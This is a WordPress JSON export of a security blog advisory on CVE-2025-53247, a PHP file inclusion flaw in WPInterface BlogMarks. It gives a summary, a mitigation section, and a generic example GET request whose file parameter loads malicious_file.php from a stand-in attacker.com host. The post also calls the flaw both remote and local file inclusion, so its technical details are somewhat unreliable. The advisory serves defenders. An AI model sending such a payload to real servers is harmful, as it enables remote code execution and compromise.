{"id":72679,"date":"2025-09-07T18:10:32","date_gmt":"2025-09-07T18:10:32","guid":{"rendered":""},"modified":"2025-09-28T11:55:33","modified_gmt":"2025-09-28T17:55:33","slug":"cve-2025-53247-critical-php-remote-file-inclusion-vulnerability-in-wpinterface-blogmarks","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-53247-critical-php-remote-file-inclusion-vulnerability-in-wpinterface-blogmarks\/","title":{"rendered":"CVE-2025-53247: Critical PHP Remote File Inclusion Vulnerability in WPInterface BlogMarks<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The cybersecurity community has identified a significant vulnerability in WPInterface’s BlogMarks, a popular blogging platform. This vulnerability, designated as CVE-2025-53247, affects any version of BlogMarks up to and including 1.0.8. This threat stems from an improper control of filename for Include\/Require Statement in the PHP program, allowing for PHP Local File Inclusion<\/a> (LFI). The potential implications of this vulnerability<\/a> are severe, ranging from system compromise to data leakage. This blog post aims to provide a thorough analysis of the vulnerability, its potential impact, and the steps required to mitigate it.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-53247
\nSeverity: Critical (8.1 CVSS Score)
\nAttack Vector: Remote
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: System Compromise<\/a>, Data Leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

WPInterface BlogMarks | Up to and including 1.0.8<\/p>\n

How the Exploit Works<\/strong><\/p>\n

This exploit takes advantage of the PHP remote file inclusion vulnerability<\/a> in WPInterface BlogMarks. It targets the improper control<\/a> of filename for Include\/Require Statement in the PHP program. The attacker can manipulate the file<\/a> path input to include or require a remotely hosted file. This file can execute arbitrary code<\/a> on the server, leading to potential system compromise or data leakage.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here’s a conceptual example illustrating how an attacker might exploit this vulnerability<\/a>:<\/p>\n

GET \/vulnerable_page.php?file=http:\/\/attacker.com\/malicious_file.php HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n
In this example, the attacker manipulates the `file` parameter in the GET request to include a file (`malicious_file.php`) hosted on their own server (`attacker.com`). When the server processes this request, it includes the malicious file, which can then execute arbitrary code<\/a> on the server.<\/p>\n
Mitigation Guidance<\/strong><\/p>\n
The recommended mitigation for this vulnerability is to apply the vendor-supplied patch. Until the patch can be applied, it’s advisable to use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary measure to detect and block attacks exploiting this vulnerability<\/a>. Regularly update and patch your systems to reduce the risk of such vulnerabilities<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview The cybersecurity community has identified a significant vulnerability in WPInterface’s BlogMarks, a popular blogging platform. This vulnerability, designated as CVE-2025-53247, affects any version of BlogMarks up to and including 1.0.8. This threat stems from an improper control of filename for Include\/Require Statement in the PHP program, allowing for PHP Local File Inclusion (LFI). The […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-72679","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t